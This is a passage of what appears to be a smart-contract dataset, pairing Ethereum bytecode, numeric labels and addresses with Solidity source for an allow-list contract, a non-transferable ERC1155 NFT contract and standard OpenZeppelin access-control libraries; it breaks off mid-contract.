2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b60408051606081018252600080825260208201819052918101829052905482906001600160801b031681101561144f57600081815260036020908152604091829020825160608101845290546001600160a01b0381168252600160a01b810467ffffffffffffffff1692820192909252600160e01b90910460ff1615159181018290529061144d5780516001600160a01b0316156113e3579392505050565b5060001901600081815260036020908152604091829020825160608101845290546001600160a01b038116808352600160a01b820467ffffffffffffffff1693830193909352600160e01b900460ff1615159281019290925215611448579392505050565b6113e3565b505b604051636f96cda160e11b815260040160405180910390fd5b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6114d48282604051806020016040528060008152506116f4565b5050565b60006001600160a01b0384163b156115db57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061151c903390899088908890600401611c26565b602060405180830381600087803b15801561153657600080fd5b505af1925050508015611566575060408051601f3d908101601f1916820190925261156391810190611b23565b60015b6115c1573d808015611594576040519150601f19603f3d011682016040523d82523d6000602084013e611599565b606091505b5080516115b9576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506115df565b5060015b949350505050565b60606008805461063890611d39565b60608161161a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611644578061162e81611d74565b915061163d9050600a83611cc3565b915061161e565b60008167ffffffffffffffff81111561165f5761165f611de5565b6040519080825280601f01601f191660200182016040528015611689576020820181803683370190505b5090505b84156115df5761169e600183611cf6565b91506116ab600a86611d8f565b6116b6906030611cab565b60f81b8183815181106116cb576116cb611dcf565b60200101906001600160f81b031916908160001a9053506116ed600a86611cc3565b945061168d565b61078883838360016000546001600160801b03166001600160a01b03851661172e57604051622e076360e81b815260040160405180910390fd5b8361174c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260046020908152604080832080546001600160801b0319811667ffffffffffffffff8083168c0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168c018116909202179091558584526003909252822080546001600160e01b031916909317600160a01b42909216919091021790915581905b8581101561185f5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4838015611835575061183360008884886114d8565b155b15611853576040516368d2bf6b60e11b815260040160405180910390fd5b600191820191016117de565b50600080546001600160801b0319166001600160801b039290921691909117905561133d565b82805461189190611d39565b90600052602060002090601f0160209004810192826118b357600085556118f9565b82601f106118cc5782800160ff198235161785556118f9565b828001600101855582156118f9579182015b828111156118f95782358255916020019190600101906118de565b50611905929150611909565b5090565b5b80821115611905576000815560010161190a565b80356001600160a01b038116811461193557600080fd5b919050565b60006020828403121561194c57600080fd5b610faa8261191e565b6000806040838503121561196857600080fd5b6119718361191e565b915061197f6020840161191e565b90509250929050565b60008060006060848603121561199d57600080fd5b6119a68461191e565b92506119b46020850161191e565b9150604084013590509250925092565b600080600080608085870312156119da57600080fd5b6119e38561191e565b93506119f16020860161191e565b925060408501359150606085013567ffffffffffffffff80821115611a1557600080fd5b818701915087601f830112611a2957600080fd5b813581811115611a3b57611a3b611de5565b604051601f8201601f19908116603f01168101908382118183101715611a6357611a63611de5565b816040528281528a6020848701011115611a7c57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215611ab357600080fd5b611abc8361191e565b915060208301358015158114611ad157600080fd5b809150509250929050565b60008060408385031215611aef57600080fd5b611af88361191e565b946020939093013593505050565b600060208284031215611b1857600080fd5b8135610faa81611dfb565b600060208284031215611b3557600080fd5b8151610faa81611dfb565b60008060208385031215611b5357600080fd5b823567ffffffffffffffff80821115611b6b57600080fd5b818501915085601f830112611b7f57600080fd5b813581811115611b8e57600080fd5b866020828501011115611ba057600080fd5b60209290920196919550909350505050565b600060208284031215611bc457600080fd5b5035919050565b60008151808452611be3816020860160208601611d0d565b601f01601f19169290920160200192915050565b60008351611c09818460208801611d0d565b835190830190611c1d818360208801611d0d565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611c5990830184611bcb565b9695505050505050565b602081526000610faa6020830184611bcb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611cbe57611cbe611da3565b500190565b600082611cd257611cd2611db9565b500490565b6000816000190483118215151615611cf157611cf1611da3565b500290565b600082821015611d0857611d08611da3565b500390565b60005b83811015611d28578181015183820152602001611d10565b83811115610e475750506000910152565b600181811c90821680611d4d57607f821691505b60208210811415611d6e57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611d8857611d88611da3565b5060010190565b600082611d9e57611d9e611db9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461092057600080fdfea264697066735822122044c0a5aeed01008b4712b888c891c2e35dda59a53f8f07f8e4e5884dded1f8d864736f6c63430008070033 | [
5,
12
] |
0xF3380293Ef7f7b71c7c2656A5bEe926fa71338ed | // SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title AllowList
* @author Anna Carroll
*/
contract AllowList is Ownable {
// address => true if address is allowed
mapping(address => bool) public allowed;
// ======== External Functions =========
function setAllowed(address _addr, bool _bool) external onlyOwner {
allowed[_addr] = _bool;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
} | 0x608060405234801561001057600080fd5b50600436106100675760003560e01c80638da5cb5b116100505780638da5cb5b14610089578063d63a8e11146100b6578063f2fde38b146100e957600080fd5b80634697f05d1461006c578063715018a614610081575b600080fd5b61007f61007a3660046104c4565b6100fc565b005b61007f6101d8565b60005460405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b6100d96100c43660046104a2565b60016020526000908152604090205460ff1681565b60405190151581526020016100ad565b61007f6100f73660046104a2565b6102c8565b60005473ffffffffffffffffffffffffffffffffffffffff163314610182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260016020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610179565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610179565b73ffffffffffffffffffffffffffffffffffffffff81166103ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610179565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b803573ffffffffffffffffffffffffffffffffffffffff8116811461049d57600080fd5b919050565b6000602082840312156104b457600080fd5b6104bd82610479565b9392505050565b600080604083850312156104d757600080fd5b6104e083610479565b9150602083013580151581146104f557600080fd5b80915050925092905056fea26469706673582212202ef1ec158b9099d408ec3a3f1bd12e9f9a7c0d7171ff8181b0ec1e343ed548b264736f6c63430008050033 | [
38
] |
0xf33832763144eA7C35f7c34C4d48cca34F816Ec8 | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IFarm.sol";
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a burner role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and burner
* roles, as well as the default admin role, which will let it grant both minter
* and burner roles to other accounts.
*/
contract NFT is Context, AccessControl, Ownable, ERC1155 {
using SafeMath for uint256;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
*/
constructor(string memory uri) ERC1155(uri) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setRoleAdmin(MINTER_ROLE, DEFAULT_ADMIN_ROLE);
_setRoleAdmin(BURNER_ROLE, DEFAULT_ADMIN_ROLE);
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"NFT: must have minter role to mint"
);
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"NFT: must have minter role to mint"
);
for (uint256 i = 0; i < ids.length; i++) {
_mint(to, ids[i], amounts[i], data);
}
}
/**
* @dev Destroys `amount` of tokens for `account`, of token type `id`.
*
* See {ERC1155-_burn}.
*
* Requirements:
*
* - the caller must have the `BURNER_ROLE`.
*/
function burn(
address account,
uint256 id,
uint256 amount
) public virtual {
require(
hasRole(BURNER_ROLE, _msgSender()),
"NFT: must have burner role to burn"
);
_burn(account, id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {burn}.
*/
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) public virtual {
require(
hasRole(BURNER_ROLE, _msgSender()),
"NFT: must have burner role to burn"
);
_burnBatch(account, ids, amounts);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override(ERC1155) {
revert("NFT: transfer not allowed");
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override(ERC1155) {
revert("NFT: transfer not allowed");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC1155.sol";
import "./IERC1155MetadataURI.sol";
import "./IERC1155Receiver.sol";
import "../../utils/Context.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) public {
_setURI(uri_);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
_balances[id][account] = _balances[id][account].sub(
amount,
"ERC1155: burn amount exceeds balance"
);
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
"ERC1155: burn amount exceeds balance"
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
